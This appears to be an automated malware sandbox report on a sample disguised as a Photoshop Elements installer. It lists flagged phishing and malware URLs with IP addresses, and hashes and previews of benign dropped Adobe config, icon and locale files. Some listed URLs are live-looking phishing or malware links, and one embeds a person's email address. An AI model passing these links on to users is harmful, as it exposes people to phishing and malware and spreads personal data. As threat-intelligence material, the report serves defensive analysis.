                                                                                            https://webconference.protected-forms.com/XZmlBeUlkbExkNHYxS3piZldoaGJqTzUrV3RZK1BkOGZVMlRsRGFZcnlYbnJ1K3h1VjJEMnY1d0lXNFNQVmswcXFCTmFqczEyaHMyc3lwSUpvNnFFYlJLemVwaEpGbjRXVnVRRk93ZUxYY0dwRmhsZ010WmVrNTNVR0N0YkdCeTRnTHZMb043aXdiVFo5a25TNjZkVThLaW8wem41RTU3MUl5b2dxWjNpdjFLNWdRSmdxL2ZocGVvdDVBPT0tLVNLdmlEU1hLTGZIRW9VQ0YtLWFoQVVsMnk3VVFLbzBPZHpycUt6OEE9PQ==?cid=2178924675Get hashmaliciousKnowBe4Browse
                                                                                            • 44.221.189.90
                                                                                            https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9wVGhOLmFpcnJjb2Z2YmMuY29tL1lSZVhqTi8=/#&lt;EMAIL&gt;Get hashmaliciousUnknownBrowse
                                                                                            • 3.211.75.57
                                                                                            https://www.trendytechinsight.com/sxGet hashmaliciousUnknownBrowse
                                                                                            • 52.22.194.12
                                                                                            aba5298f.msiGet hashmaliciousUnknownBrowse
                                                                                            • 3.229.68.8
                                                                                            http://software.oldversion.com/download.php?f=YTo1OntzOjQ6InRpbWUiO2k6MTczMTQ4OTAwMjtzOjI6ImlkIjtpOjEzODk4O3M6NDoiZmlsZSI7czo0MzoicGRmY3JlYXRvci0xLTYtMi1QREZDcmVhdG9yLTFfNl8yX3NldHVwLmV4ZSI7czozOiJ1cmwiO3M6NTA6Imh0dHA6Ly93d3cub2xkdmVyc2lvbi5jb20vd2luZG93cy9wZGZjcmVhdG9yLTEtNi0yIjtzOjQ6InBhc3MiO3M6MzI6IjMwYzExNzY3MTEwNWY3MjhjYjA0YzU2ZjkzYTc1YTRjIjt9Get hashmaliciousUnknownBrowse
                                                                                            • 3.5.20.67
                                                                                            AMAZON-02UShttps://pthn.airrcofvbc.com/YReXjN/#&lt;EMAIL&gtGet hashmaliciousUnknownBrowse
                                                                                            • 54.154.143.167
                                                                                            file.exeGet hashmaliciousPureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, VidarBrowse
                                                                                            • 18.244.18.122
                                                                                            https://o000005496.photoshelter.com/Get hashmaliciousUnknownBrowse
                                                                                            • 18.239.69.9
                                                                                            Pmendon.ext_Reord_Adjustment.docxGet hashmaliciousCaptcha PhishBrowse
                                                                                            • 44.234.198.184
                                                                                            https://arcalo.ru.com/#cathy.sekula@steptoe-johnson.comGet hashmaliciousHTMLPhisherBrowse
                                                                                            • 3.165.113.58
                                                                                            https://webconference.protected-forms.com/XZmlBeUlkbExkNHYxS3piZldoaGJqTzUrV3RZK1BkOGZVMlRsRGFZcnlYbnJ1K3h1VjJEMnY1d0lXNFNQVmswcXFCTmFqczEyaHMyc3lwSUpvNnFFYlJLemVwaEpGbjRXVnVRRk93ZUxYY0dwRmhsZ010WmVrNTNVR0N0YkdCeTRnTHZMb043aXdiVFo5a25TNjZkVThLaW8wem41RTU3MUl5b2dxWjNpdjFLNWdRSmdxL2ZocGVvdDVBPT0tLVNLdmlEU1hLTGZIRW9VQ0YtLWFoQVVsMnk3VVFLbzBPZHpycUt6OEE9PQ==?cid=2178924675Get hashmaliciousKnowBe4Browse
                                                                                            • 52.217.68.204
                                                                                            https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9wVGhOLmFpcnJjb2Z2YmMuY29tL1lSZVhqTi8=/#&lt;EMAIL&gt;Get hashmaliciousUnknownBrowse
                                                                                            • 52.215.4.125
                                                                                            botnet.x86.elfGet hashmaliciousMirai, MoobotBrowse
                                                                                            • 44.245.88.8
                                                                                            https://uxfol.io/p/b02d8c67/029f480aGet hashmaliciousUnknownBrowse
                                                                                            • 99.83.217.1
                                                                                            AMAZON-AESUShttps://pthn.airrcofvbc.com/YReXjN/#&lt;EMAIL&gtGet hashmaliciousUnknownBrowse
                                                                                            • 54.83.2.40
                                                                                            https://ad.broadstreetads.com/click/1073526Get hashmaliciousUnknownBrowse
                                                                                            • 35.169.244.220
                                                                                            https://o000005496.photoshelter.com/Get hashmaliciousUnknownBrowse
                                                                                            • 34.194.61.107
                                                                                            Pmendon.ext_Reord_Adjustment.docxGet hashmaliciousCaptcha PhishBrowse
                                                                                            • 3.219.22.30
                                                                                            https://webconference.protected-forms.com/XZmlBeUlkbExkNHYxS3piZldoaGJqTzUrV3RZK1BkOGZVMlRsRGFZcnlYbnJ1K3h1VjJEMnY1d0lXNFNQVmswcXFCTmFqczEyaHMyc3lwSUpvNnFFYlJLemVwaEpGbjRXVnVRRk93ZUxYY0dwRmhsZ010WmVrNTNVR0N0YkdCeTRnTHZMb043aXdiVFo5a25TNjZkVThLaW8wem41RTU3MUl5b2dxWjNpdjFLNWdRSmdxL2ZocGVvdDVBPT0tLVNLdmlEU1hLTGZIRW9VQ0YtLWFoQVVsMnk3VVFLbzBPZHpycUt6OEE9PQ==?cid=2178924675Get hashmaliciousKnowBe4Browse
                                                                                            • 44.221.189.90
                                                                                            https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9wVGhOLmFpcnJjb2Z2YmMuY29tL1lSZVhqTi8=/#&lt;EMAIL&gt;Get hashmaliciousUnknownBrowse
                                                                                            • 3.211.75.57
                                                                                            https://www.trendytechinsight.com/sxGet hashmaliciousUnknownBrowse
                                                                                            • 52.22.194.12
                                                                                            aba5298f.msiGet hashmaliciousUnknownBrowse
                                                                                            • 3.229.68.8
                                                                                            http://software.oldversion.com/download.php?f=YTo1OntzOjQ6InRpbWUiO2k6MTczMTQ4OTAwMjtzOjI6ImlkIjtpOjEzODk4O3M6NDoiZmlsZSI7czo0MzoicGRmY3JlYXRvci0xLTYtMi1QREZDcmVhdG9yLTFfNl8yX3NldHVwLmV4ZSI7czozOiJ1cmwiO3M6NTA6Imh0dHA6Ly93d3cub2xkdmVyc2lvbi5jb20vd2luZG93cy9wZGZjcmVhdG9yLTEtNi0yIjtzOjQ6InBhc3MiO3M6MzI6IjMwYzExNzY3MTEwNWY3MjhjYjA0YzU2ZjkzYTc1YTRjIjt9Get hashmaliciousUnknownBrowse
                                                                                            • 3.5.20.67

                                                                                            JA3 Fingerprints

                                                                                            ⊘No context

                                                                                            Dropped Files

                                                                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                            C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpWinterRoost_Bearfoos Malware.zipGet hashmaliciousUnknownBrowse
                                                                                              C:\Users\user\AppData\Local\Temp\PhotoshopElements_2024_LS30_win64.exeWinterRoost_Bearfoos Malware.zipGet hashmaliciousUnknownBrowse

                                                                                                Created / dropped Files

                                                                                                C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\Config.xml

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                Category:dropped
                                                                                                Size (bytes):537
                                                                                                Entropy (8bit):5.147241145555799
                                                                                                Encrypted:false
                                                                                                SSDEEP:12:TMHdtTyKAywopOGmNTWe7SJJnPd+p3mv9NhuaAi4HY2:2dtTgopj2GJJnPd+p3mvXB2
                                                                                                MD5:9BF27F7E06B54FC3711224323D4FA105
                                                                                                SHA1:F870330D52A34C4E3F475CE117E779A510FF3501
                                                                                                SHA-256:195A6EEB37951C00E8A3CD3366F0BE21AB9AA4124379D5B8EC468A9368F477FD
                                                                                                SHA-512:4727BE8B5C550F3B578360512FC243CA9599112B44088066F6204B09D30238BC51100E1B45DDD549DAE0F5990A924216CC0330AAB9B036B8AB445D44306BDEC0
                                                                                                Malicious:false
                                                                                                Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<Config>...<UIConfig>....<HideVersion>true</HideVersion>....<SkipLaunch>false</SkipLaunch>....<HidePIIScreen>false</HidePIIScreen>....<ShowInstallOptions>true</ShowInstallOptions>....<CarouselType>GenericCarousel</CarouselType>....<SkipAccLaunch>true</SkipAccLaunch>....<LaunchProductDetail>.....<ProductInfo>......<SAPCode>HPSE</SAPCode>......<BaseVersion>24.0</BaseVersion> ......<Platform>win64</Platform>.....</ProductInfo>....</LaunchProductDetail>...</UIConfig>..</Config>..

                                                                                                C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\appIcon.png

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:PNG image data, 88 x 84, 8-bit/color RGBA, non-interlaced
                                                                                                Category:dropped
                                                                                                Size (bytes):3054
                                                                                                Entropy (8bit):7.920741815156119
                                                                                                Encrypted:false
                                                                                                SSDEEP:48:EetobvO+qOt7dLQDys5pZBAmoM67nXGzwONXAyP+RNONUTRbUc:EetOhlldkDy6ploN7O3NQyoON2F
                                                                                                MD5:EB5FDB63686193E55826A8DD77D64412
                                                                                                SHA1:977C4788ABF0F274E74281C4DA76C0C3D2F26B76
                                                                                                SHA-256:1DBCFFB6B2837F5C42CC90713F01F7E7E82B45337DE78B1204F67E0AD7FA488B
                                                                                                SHA-512:C3849CC0A289A36A70E7B4968BC379E118CA80D3E87AFF2477FD7FBD514B66CD67E199B17B41277A6F3C8794B88CC69532B233016BFEC2EE98D3F0C17DBBC4E8
                                                                                                Malicious:false
                                                                                                Preview:.PNG........IHDR...X...T......W.O....pHYs...........~.....IDATx..]kl...>k....c.6v.....HL....*.,."..(U..*?Z....O!R.3.....?m.T.R5.............$.B.%P.K.~?.56.1[}.{.y..;............{.;.L&Cv.5o]EDOd.{......"ED...a..I...;+.C.[A.A"...%...h_&....~.....&.....0.......2..I.5...{....9.9"..\..c.\O.g...#8..F.wPi..TT..G.#9.8.|.[....vRq.v`2......Q..i.5.#.K.,.....l.p6.+)o.@5...0..T_.]O....$a#..."...z8.g.k.X5.@...0....8....b...}....q.j.,.>8TRjx...e.?.6.N.t..qO1..MD..l...r.j.Ozh...4.........T.f.........^.+$A..hU...}.)*.........f..i o:...E.,....*[6Q.8L..Lt.....,6....*o._.m..{P...,.$fG/S8.`..........O..u.NP....Tk.^..q=..M]:mz...>....&]........|zL...(.>..5To.M......Y....P.............P>$...a_.....Xu! 0...aY..Stc...y@....8L..&..\..#Q....w....ZaCWF... ...B.....Vw.....%_..`#a..^.%....>[!.X.!oB.;.F.6s.".?=)........6.B.g.R..B..N...4@.FO......Z.!,.B.I4.........&k....A.....;!...J.}%...'T~..9E...o..+.J..?...g..R....... ....Q......c....z..F.B...Za.FN.Z..+X(".d.

                                                                                                C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\appIcon2x.png

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:PNG image data, 176 x 168, 8-bit/color RGBA, non-interlaced
                                                                                                Category:dropped
                                                                                                Size (bytes):6367
                                                                                                Entropy (8bit):7.956445451701175
                                                                                                Encrypted:false
                                                                                                SSDEEP:192:h9MSclSloV7H9lto+rXTyjlWRixx1dYsxe:LtXo1H9Po+rDyjlWRiXXYv
                                                                                                MD5:2152D117D6E4FDEB0510DA1FDCEAE7E3
                                                                                                SHA1:ACD10C0B6653041E6CE4241DCCEF1445D12E2DB8
                                                                                                SHA-256:4A95D46DAC22AA1477093EB7B5655A73C3C7152A985AB7A5148327E93309F985
                                                                                                SHA-512:5A7AF9736FC3C7329FC680BBAA80FDD8D74F0D98D2422CC57C64B78A30D3C68F799F5E584CF1D6D283B6E827FC391130484C2726D59C70D97AE2D0774239AF2F
                                                                                                Malicious:false
                                                                                                Preview:.PNG........IHDR.............@2d.....pHYs...........~.....IDATx..m...y..o.+{.eaYb_..c.cC0.j-...VPLJbT\.......P..*.Kl.%}.j>......$;2.....G1...v....).0....e.e..n.?{g=wv.33..y.I.6./s...3..9.y&S,.I..\..D.?..(KD.Y.N. .a":FD...}.+.l.gr=;.hKI..R_<%.. d".W.....3H.p&...^$...hS8@...b.../..3......h{...x....b.o..W....\.".T.)>.v..........#.../."...Nn..W.8...Rr..xSd.M.+iL.a.gr=......(...[..B)D&..z......|...[r#p*...^.#.....T.)a...NTL!J....t5..T.]Lu....L..Da.n_=...%....}..>...K..cI2lM....G..u.../N..K....hj....%.|..Jl....R."m..*.......3.... .5../..VY..9......./..]..g)S;..s....>...?Rrl)..T...2..2..z..%!u@...9O.53=V....Is.`@*...;a.B.JJ....xAuc+...c...e..4:.l.....K.w...uZ.......45z..#..#..(QU[O.VnPv.M..Xj.|.{..%.j......>@X...1..+......uVb.j..G7..8.....|....K..#.....M/8>..r`wY....|...^H.........U.[T.q.1t|.........C...wO"L....f.....A..t...~..Z.:..5O1az!5zR`iD..~........H.....|..{..JT.a....X.IW.|..jj]....>...!.;1r...t..W0Y...G..L.. S]#.\<.....tg.6{....!

                                                                                                C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\cs_cz\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):1015
                                                                                                Entropy (8bit):5.284650663061944
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:M0X5cRWm36aKQgO3lcQgj8fPJmKhxRR+SPoy1KaY4ScBhPbxZtqy3Ui:l566JQgC7gYfPRhx6SPo1/LcXNZtp
                                                                                                MD5:44DB45EFBB65BAC062FB7C8B849A203D
                                                                                                SHA1:00E75EA3FADB83DFC42616DEDF831F6BF8017EDC
                                                                                                SHA-256:3D4D96649072E293B76A41A497B19BC48811B2C8BE9D2742255B96751BC09FEB
                                                                                                SHA-512:683D31755D68816B6CD575956C2161FF92A89C4B8C6D188683E435E6C4BE5DA621FF9819DA65EFB524C1983395154DA8DAE98ED94F236A71517BF13CE519A64B
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "V.ukov. lekce k aplikaci Photoshop Elements",.. "SubTitle": "Za.n.te, nau.te se z.klady a nechte se inspirovat.",.. "Operating1xWin": "Windows 7 Service Pack 1 (64bitov. verze) (minim.ln. po.adavek)",.. "OperatingSystemMac": "Mac OS 10.12 (minim.ln. po.adavek)",.. "Memory": "Instalace aplikace vy.aduje alespo. 4 GB pam.ti RAM",.. "TextSlide1": "Sjedno.te barvu a.t.n s.jinou fotografi. nebo vyu.ijte p.ednastaven..",.. "TextSlide2": "Vytvo.te stylizovan. text za p.r sekund.",.. "TextSlide3": "Vytv..ejte a sd.lejte foto p.sma ve form.tu MP4.",.. "TextSlide4": "Jedn.m kliknut.m vyb.rejte oblohu nebo pozad.. ",.. "TextSlide5": "Nov., osv..en. podoba - se sv.tl.mi a tmav.mi re.imy.",.. "TextSlide6": "Plus",.. "TextSlide7": "Panel Rychl. akce pro .pravy jedn.m kliknut.m",.. "TextSlide8": "Integrace slu.by Adobe Stock",.. "TextSlide9": "Aktualizace webov. a.mobiln. verze ",.. "TextSlide10": "(betaverze pouze v.an

                                                                                                C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\de_de\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):946
                                                                                                Entropy (8bit):4.953889317998113
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:ARWqWN36awP3lc90XpYn9VVRndMMAEBzSKhm5tG9kx:vX6hfyXn9523GI5tV
                                                                                                MD5:1FBC842F9A1E6F76E6ACF661816FE62E
                                                                                                SHA1:D8B0EC6941246B4B423C1A15467EFBCAEC8121A7
                                                                                                SHA-256:5D6ABD25084CBF6F04D54C0164E5E0B3F89D969A91E2E850C7DAE77588E571B8
                                                                                                SHA-512:58A0A04E76B0D0F35EAA01B03F37DFBBEDD60279FFCCB26CC4FD34F6562DD8ECA8CF1891578861A06C393AA82A5E41537618D6598E4080264FBB1B4C7B024170
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Photoshop Elements . Tutorials",.. "SubTitle": "Erste Schritte, Grundlagen, Inspirationen.",.. "Operating1xWin": "Windows 7 Service Pack 1 (64-Bit) (mindestens erforderlich)",.. "OperatingSystemMac": "Mac OS 10.12 (mindestens erforderlich)",.. "Memory": "Sie ben.tigen mindestens 4 GB RAM, um die Anwendung zu installieren",.. "TextSlide1": "An Farbe und Ton eines anderen Fotos anpassen oder Vorgaben nutzen.",.. "TextSlide2": "Stilisierten Text in Sekundenschnelle erstellen.",.. "TextSlide3": "MP4-Foto-Reel erstellen und teilen.",.. "TextSlide4": "Einen Himmel oder Hintergrund per Mausklick ausw.hlen.",.. "TextSlide5": "Neuer, frischer Look . mit Hell- und Dunkel-Modi.",.. "TextSlide6": "Plus",.. "TextSlide7": "Schnellaktionen zur kinderleichten Bearbeitung",.. "TextSlide8": "Integration mit Adobe Stock",.. "TextSlide9": "Web- und Mobil-Updates ",.. "TextSlide10": "(Beta nur in englischer Sprache)"..}

                                                                                                C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\en_US\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):835
                                                                                                Entropy (8bit):5.02637898118712
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:RMRWsRVg6aE3lchllo8ElVwsa5kHgN7FYtQ:RDso6vEWRl6RyANh
                                                                                                MD5:BA0A234966CC8F97101F456C96AC4632
                                                                                                SHA1:8D00C13D7EF727210996BAD946F763B9FDB69FB0
                                                                                                SHA-256:168D3D6C0C91C0850865733EB244760F6BB3DE0902395A443AFC44B02592A048
                                                                                                SHA-512:391F67878830E4C907EEB5A387B94E411A9862559677264AC18A19A36840035520DE7E40B5BEE041483C1AC6B66D3ABDD389E7502C423D6FC701AB2088580D6E
                                                                                                Malicious:false
                                                                                                Preview:{..."Name":."Photoshop Elements tutorials",..."SubTitle":."Get started, get the essentials, get inspired.",..."Operating1xWin": "Windows 7 Service Pack 1 (64-bit) (Minimum required)",.. "OperatingSystemMac": "Mac OS 10.12 (Minimum required)",.. "Memory": "You need minimum 4Gb RAM to install the application",..."TextSlide1": "Match the color & tone from another photo or use presets.",..."TextSlide2": "Create stylized text in seconds.",..."TextSlide3": "Create & share MP4 Photo Reels.",..."TextSlide4": "One-click to select a sky or background.",..."TextSlide5": "New refreshed look . with light and dark modes.",..."TextSlide6": "Plus",..."TextSlide7": "Quick Actions panel for one-click edits",..."TextSlide8": "Adobe Stock integration",..."TextSlide9": "Web & mobile updates ",..."TextSlide10": "(English-only beta)"..}..

                                                                                                C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\es_es\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):970
                                                                                                Entropy (8bit):4.889772694170443
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:ycRW05836yd3lcsRmz42/gcA69PAHxZDx8lHntBKvsI:qYY6evB2/GWlHntBAsI
                                                                                                MD5:6D77FA7C087128F0DDACB5D1C86C95E2
                                                                                                SHA1:668E0CA6D419FA09A4DB81BC8469BAF686835A46
                                                                                                SHA-256:320A7B8CD564064EC11925C96F0F323B19FFC82440439C4B87ABFF59A658F1E5
                                                                                                SHA-512:2F66150B342F41F2968B44001EE53F6457081DD58A715DDF68DFFAE3B5213643AA7BB6435E7DFDAB518533EFDD0A407412B8DF9948A7CAAB14A34BE6C6377CDC
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Tutoriales de Photoshop Elements",.. "SubTitle": "Empiece, descubra los fundamentos y encuentre inspiraci.n.",.. "Operating1xWin": "Windows 7 con Service Pack 1 (64 bits) (m.nimo requerido)",.. "OperatingSystemMac": "Mac OS 10.12 (m.nimo requerido)",.. "Memory": "Se necesita un m.nimo de 4.GB de RAM para instalar la aplicaci.n",.. "TextSlide1": "Combine el color y el tono de otra foto, o bien utilice ajustes preestablecidos.",.. "TextSlide2": "Cree un texto estilizado en segundos.",.. "TextSlide3": "Cree y comparta reels de fotos en MP4.",.. "TextSlide4": "Haga clic una vez para seleccionar un cielo o fondo.",.. "TextSlide5": "Nuevo estilo renovado con modos claro y oscuro.",.. "TextSlide6": "M.s",.. "TextSlide7": "Panel Acciones r.pidas para realizar ediciones con un solo clic",.. "TextSlide8": "Integraci.n con Adobe Stock",.. "TextSlide9": "Actualizaciones web y m.viles ",.. "TextSlide10": "(Beta solo en ingl.s)"..}

                                                                                                C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\fr_fr\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):1027
                                                                                                Entropy (8bit):5.00331328127714
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:x6cRWqKJ36hxMM3lQCidzBjNR2NPjyFBWdsBXJKAvE1uoXutXUB9Rn:gqKB6hxt+B1jNR2NVdsBZrvNyutkpn
                                                                                                MD5:CC854F1036F7591BF00E2AFEB465F659
                                                                                                SHA1:60457317A8F7F241C3F94595C13E37F4A8DC3352
                                                                                                SHA-256:67A1C6394300FB01B4DF5C8D1ECCA0AB026797BD2C1BEB09084BEA356DF89754
                                                                                                SHA-512:8A26F56E1E6861C1CFCF07F8349AD0F32FC60D962E5433997B7F6F8B7D361F172A8CDB9717297EC91ECD7989A88B1A93D696382BA5852723528DBACD50F70D8E
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Tutoriels Photoshop Elements",.. "SubTitle": "Lancez-vous, saisissez l'essentiel, soyez inspir..",.. "Operating1xWin": "Windows.7.Service.Pack.1 (64.bits) (minimum requis)",.. "OperatingSystemMac": "Mac.OS.10.12 (minimum requis)",.. "Memory": "Vous avez besoin de 4.Go de m.moire vive minimum pour installer l'application.",.. "TextSlide1": "Faites correspondre la couleur et le ton d.une autre photo ou utilisez des param.tres pr.d.finis.",.. "TextSlide2": "Cr.ez du texte stylis. en quelques secondes.",.. "TextSlide3": "Cr.ez et partagez des Bobines de photos MP4.",.. "TextSlide4": "Un seul clic pour s.lectionner un ciel ou un arri.re-plan.",.. "TextSlide5": "Nouveau look revisit. avec les modes clair et fonc..",.. "TextSlide6": "Plus",.. "TextSlide7": "Panneau Actions rapides pour les modifications en un clic",.. "TextSlide8": "Int.gration dans Adobe Stock",.. "TextSlide9": "Mises . jour Web et mobiles ",.. "TextSlide10": "(Version beta

                                                                                                C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\it_it\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):970
                                                                                                Entropy (8bit):4.801728131561229
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:Ym3cRWV9z36aMR13lcqR+8WI69y/2TEeeQIMcwmx4LeJqASUtXIH:JDP61FBvWI693IA5ASUtXo
                                                                                                MD5:37879C31149C21FB5DF9DAADCD67E909
                                                                                                SHA1:20E314739D229E4B5DA2AF435BB0F251C06DB0C9
                                                                                                SHA-256:17AC21F4AD75970E29C644CAC412483B4AB3B5611807E6C963FB72189AD9989B
                                                                                                SHA-512:CF29AC25D8DE0E0AD658B02AF25A0B88CE643F26679BE2B3F2E944E4B558FACBA94804CC88C32F550395708D0BDA003AD09FCBBFA2A9FA8FB70820F7775E0113
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Esercitazioni di Photoshop Elements",.. "SubTitle": "Iniziate, raccogliete tutto ci. che vi serve e lasciatevi ispirare.",.. "Operating1xWin": "Windows 7 Service Pack 1 (64 bit) (versione minima richiesta)",.. "OperatingSystemMac": "Mac OS 10.12 (versione minima richiesta)",.. "Memory": "Sono necessari almeno 4 Gb di RAM per installare l'applicazione",.. "TextSlide1": "Abbina il colore e il tono di un'altra foto o utilizza le preimpostazioni.",.. "TextSlide2": "Crea testo stilizzato in pochi secondi.",.. "TextSlide3": "Crea e condivi i reel di foto in MP4.",.. "TextSlide4": "Fai clic per selezionare un cielo o uno sfondo.",.. "TextSlide5": "Look rinnovato, con modalit. luce e buio.",.. "TextSlide6": "Pi.",.. "TextSlide7": "Pannello Azioni rapide per modifiche con un clic",.. "TextSlide8": "Integrazione con Adobe stock",.. "TextSlide9": "Aggiornamenti Web e per dispositivi mobili ",.. "TextSlide10": "(Beta solo in inglese)"..}

                                                                                                C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\ja_jp\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):1127
                                                                                                Entropy (8bit):5.56961836864283
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:ARWOlFK2G5e36asK3lc32QV6XGS8kDqbzEzxQciMCj7EOL0uo8fJNoNYnXe8r:va0h5y65mA2N8hWu5pzxWNYnuo
                                                                                                MD5:C31570E7CCB0FC3A4236B98ABBD0CC08
                                                                                                SHA1:33AFEC87102C157C7A7B80D0058F40F591E0BBC3
                                                                                                SHA-256:E645B23E361162F77EDB93AC9028F094C8CC316B2B9AAB88EA4690D43F554BFE
                                                                                                SHA-512:6B3A2FF37B7EE09BB5FA55DE7F072647DE4F3A54E003C4D08860AB4335E3E2EBB0AB9D483AA853A77D46B2C65F02FCD7CBB5FD12B98C9A88F976D5E64759C035
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Photoshop Elements .......",.. "SubTitle": "........................",.. "Operating1xWin": "Windows 7 Service Pack 1 (64-bit) (..)",.. "OperatingSystemMac": "Mac OS 10.12 (..)",.. "Memory": "...................... 4GB . RAM ......",.. "TextSlide1": "................................",.. "TextSlide2": "....................",.. "TextSlide3": "MP4 .................",.. "TextSlide4": "1 ....................",.. "TextSlide5": "........................",.. "TextSlide6": "...",.. "TextSlide7": "..............................",.. "TextSlide8": "Adobe Stock

                                                                                                C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\ko_kr\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):551
                                                                                                Entropy (8bit):5.719924059723855
                                                                                                Encrypted:false
                                                                                                SSDEEP:12:r4DRWzAwv/WgQYATnJPO4T3bu1BJGvdhEU3lcLD9gT6XOqjYkS9OTKHHVy1JZR:ARWswl8nVO+36UFKU3lcLM6XOqkpAU1O
                                                                                                MD5:079C7C099407A71437825C7DF92A92B1
                                                                                                SHA1:D8195B86E2FC055F86C6EBDF7BBED07A62157A1C
                                                                                                SHA-256:7CBC5BC481D33E921C57652DA070E5536A2292169C8C000548BC9F3B5367B9A6
                                                                                                SHA-512:D7E5FF122D86FDB82A4E939E87F0FFF794010A4C5F79FCE0DC0CCB59E9392B5DA7C52B1B99F2A33FA45998E58936A15B900F4AF385DF9684BC419E626D2634D7
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Photoshop Elements ...",.. "SubTitle": ".... .. ... ... .....",.. "Operating1xWin": "Windows 7 ... . 1(64..)(.. .. ..)",.. "OperatingSystemMac": "Mac OS 10.12(.. .. ..)",.. "Memory": "....... ..... .. 4GB. RAM. ......",.. "TextSlide1": "._Instantly turn photos into works of art.",.. "TextSlide2": "._Create not-so-still photos with fun Moving Overlays.",.. "TextSlide3": "._Warp photos to fit any shape."..}

                                                                                                C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\Dictionary\nl_nl\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
